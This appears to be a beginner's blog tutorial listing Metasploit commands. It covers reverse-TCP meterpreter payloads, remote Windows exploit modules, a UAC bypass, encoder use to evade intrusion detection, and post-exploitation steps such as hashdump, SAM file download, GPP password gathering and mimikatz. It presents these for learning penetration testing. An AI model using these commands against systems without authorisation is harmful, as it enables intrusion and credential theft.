Metasploit one of the most favorite tool for hacker and pentesters, was developed by H.D. Moore in Perl which later in 2007 was revised in Ruby completely. After it’s high success and demand to security researchers and pen-testers, in 2009, Rapid7 a security company announced that they acquired the Metasploit and now it’s on-board to Rapid7. Learn metasploit commands in this metasploit for beginners guide.
Metasploit is a complete tool-set for penetration testers as it has all the pen-testing tools for breaking into a remote system and web applications. It’s the most advanced and powered tool for security research. It’s a large framework that each module have tons of actions. To make it easier for new users, we here listed some of the most used metasploit commands meterpreter payloads that you can practice and perform.
Metasploit for Beginners
There’s three types of Metasploit commands.
Basic commands (These are the basic operation commands like search, help, info and exit.)
Exploit commands (Exploit commands are the ones used to check out all the exploit options, payloads and targets.)
Exploit execution commands (These are post exploit commands that exploits and execute different operations on a target machine.)
All the most commonly used and Metasploit Basic, Exploit and Exploit Execuation commands for beginners to learn are:
First of all is the command to update Metasploit framework to it’s latest version.
apt update; apt install metasploit-framework
It’s a help command to know about msfconsole and check out it’s all options and commands.
msfconsole/help
Metasploit search command is for searching exploits and vulnerabilities from msfconsole.
search
To display all the options of a payload to attack a target machine.
show options
This command is use to check and set listening IP and PORT of the HOST machine to set a statick IP and port forwarding to any specified port.
LHOST
LPORT
This command is used to list all the payloads for an exploit.
show payloads
To list down all the vulnerable operating systems to a specified exploit.
show targets
To show advanced options and commands for exploit.
show advanced
Show encoders command returns all the encoders. Encoders used for evading simple IDS/IPS signatures that are looking for certain bytes of your payload.
show encoders
This command will give a list of Nop generators. It is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP.
show nops
Metasploit Commands, Meterpreter Payloads
Windows reverse meterpreter payload
Command
Description
set payload windows/meterpreter/reverse_tcp
Reverse TCP Windows Payload
Android reverse meterpreter payload
Command
Description
set payload android/meterpreter/reverse_tcp
Reverse TCP Android Payload
Windows VNC Meterpreter payload
Command
Description
set payload windows/vncinject/reverse_tcpset ViewOnly false
Reverse TCP Windows VNC Payload
Linux Reverse Meterpreter payload
Command
Description
set payload linux/meterpreter/reverse_tcp
Reverse TCP Linux Payload
Meterpreter Commands
All most useful and commonly used meterpreter commands.
Command
Description
upload file c:\\windows
Meterpreter command for uploading file in a Windows target machine
download c:\\windows\\repair\\sam /tmp
Meterpreter command for downloading file from a Windows target machine
execute -f c:\\windows\temp\exploit.exe
To execute exploits on a remote target system.
execute -f cmd -c
To create a new channel with cmd shell
ps
Shows Meterpreter processes
shell
Meterpreter get shell on the target
getsystem
This meterpreter command attempts priviledge escalation the target
hashdump
It dumps hashes on the target machine
portfwd add –l 3389 –p 3389 –r target
Meterpreter command to do port forwarding to target machine
portfwd delete –l 3389 –p 3389 –r target
Meterpreter remove port forwarding
Metasploit Exploits
Here you can find all the most commonly used metasploit exploits.
Remote Windows Metasploit Exploits
All the exploits for attacking a Windows system remotely.
Command
Description
use exploit/windows/smb/ms08_067_netapi
Remote Exploit for MS08_067 Windows 2k, XP, 2003
use exploit/windows/dcerpc/ms06_040_netapi
Remote Exploit for MS08_040 Windows NT, 2k, XP, 2003
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
Remote Exploit for MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86)
Local Windows Metasploit Exploits
Exploits to work with a local machine.
Command
Description
use exploit/windows/local/bypassuac
UAC Bypass on Windows 7 systems
Auxilary Metasploit Modules
Command
Description
use auxiliary/scanner/http/dir_scanner
Metasploit scanner tool to scan HTTP directory
use auxiliary/scanner/http/jboss_vulnscan
Metasploit JBOSS for vulnerability scanning
use auxiliary/scanner/mssql/mssql_login
Metasploit Credential Scanner for MSSQL
use auxiliary/scanner/oracle/oracle_login
Metasploit scanner for Oracle Login Module
Metasploit Powershell Exploits
Command
Description
use exploit/multi/script/web_delivery
Metasploit shell payload delivery exploit
post/windows/manage/powershell/exec_powershell
Upload shell to target and run powershell
use exploit/multi/http/jboss_maindeployer
Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload
Metasploit MSSQL payload
Post Exploit Windows Metasploit Modules
Command
Description
run post/windows/gather/win_privs
Metasploit command to show privileges of the current user
use post/windows/gather/credentials/gpp
This Metasploit command grabs all GPP saved passwords
load mimikatz -> wdigest
Metasplit loads Mimikatz
run post/windows/gather/local_admin_search_enum
Searches all the machines with administrative access
These are all the basic metasploit commands for beginners to get started with metasploit. It’s much more than this. But to go ahead, this would be a really good helping hand in the path of penetration testing.
